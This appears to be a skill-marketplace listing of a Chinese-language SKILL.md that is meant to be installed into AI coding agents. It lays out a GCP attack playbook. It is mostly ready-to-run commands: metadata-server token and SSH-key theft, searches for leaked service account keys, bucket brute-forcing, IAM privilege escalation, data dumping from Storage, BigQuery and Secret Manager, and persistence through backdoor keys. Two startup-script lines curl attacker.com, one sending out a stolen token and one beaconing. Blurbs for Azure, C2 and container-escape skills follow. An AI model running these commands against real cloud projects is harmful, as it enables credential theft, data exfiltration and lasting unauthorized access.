skills/cloud/gcp-exploit/SKILL.md
GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举
npx skillsauth add wgpsec/AboutSecurity gcp-exploitInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
与 AWS 的区别:GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径
# GCP Metadata 端点(需要 Metadata-Flavor header,但不需要 AWS IMDSv2 式 token)
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/
# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# 获取项目信息
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/project-id"
# 获取实例属性(可能含敏感配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"
# SSH 密钥(如果在 metadata 中配置)
curl -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
# 搜索泄露的 SA 密钥(JSON 格式)
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;
# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME
# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
echo "$prefix: $status"
done
# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json
# 或使用 access token
gcloud config set auth/access_token_file /tmp/token.txt
# 确认身份
gcloud auth list
gcloud config get-value project
# 枚举权限
# 列出当前 SA 的 IAM 角色
gcloud projects get-iam-policy $(gcloud config get-value project) \
--flatten="bindings[].members" \
--filter="bindings.members:$(gcloud config get-value account)"
# 测试具体权限
gcloud asset search-all-iam-policies --query="policy:roles/owner"
GCP IAM 提权路径:
├─ iam.serviceAccountKeys.create → 给高权限 SA 创建新密钥
├─ iam.serviceAccounts.getAccessToken → 直接获取其他 SA 的 token
├─ iam.serviceAccounts.implicitDelegation → 链式委托
├─ iam.serviceAccounts.signBlob → 签署 JWT 冒充其他 SA
├─ iam.serviceAccounts.signJwt → 直接签署 JWT
├─ deploymentmanager.deployments.create → 以 DM SA 身份部署资源
├─ cloudfunctions.functions.create → 创建函数以高权限 SA 执行
├─ compute.instances.create → 创建 VM 挂载高权限 SA
├─ run.services.create → 创建 Cloud Run 挂载 SA
└─ orgpolicy.policy.set → 修改组织策略
# 1. 创建新的 SA 密钥(如果有 iam.serviceAccountKeys.create)
gcloud iam service-accounts keys create /tmp/key.json \
[email protected]
# 2. 获取其他 SA 的 Token(如果有 getAccessToken)
gcloud auth print-access-token --impersonate-service-account=target-sa@project.iam.gserviceaccount.com
# 3. 通过 Cloud Function 提权
gcloud functions deploy privesc \
--runtime python39 \
--trigger-http \
[email protected] \
--source=./malicious-function/
# 函数代码中以 high-priv SA 身份执行操作
# 4. 通过 Compute Instance 提权
gcloud compute instances create privesc-vm \
[email protected] \
--scopes=cloud-platform \
--metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'
# Storage Bucket 操作
gsutil ls gs:// # 列出所有 bucket
gsutil ls -r gs://target-bucket/ # 递归列出文件
gsutil cp gs://bucket/secret.txt ./ # 下载文件
gsutil cp -r gs://bucket/ ./local-dump/ # 下载全部
# BigQuery 数据导出
bq ls # 列出 datasets
bq ls project:dataset # 列出 tables
bq query "SELECT * FROM \`project.dataset.table\` LIMIT 100"
bq extract project:dataset.table gs://bucket/export.csv
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=db-password
# Firestore/Datastore
gcloud firestore export gs://bucket/firestore-dump
# 1. 创建新 SA 密钥(最常见)
gcloud iam service-accounts keys create backdoor.json \
[email protected]
# 2. 授予外部账户权限
gcloud projects add-iam-policy-binding PROJECT \
--member='user:[email protected]' --role='roles/editor'
# 3. 创建 Cloud Function 定时回连
# 通过 Cloud Scheduler 触发 → 定时 beacon
# 4. Compute Engine startup-script 持久化
gcloud compute instances add-metadata INSTANCE \
--metadata=startup-script='curl https://attacker.com/beacon'
| 工具 | 用途 | |------|------| | gcloud CLI | GCP 官方工具 | | GCPBucketBrute | Bucket 枚举 | | ScoutSuite | 多云安全审计 | | Prowler | GCP 安全检查 | | GCP IAM Privilege Escalation | 提权检查工具 | | Hayat | GCP 攻击框架 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能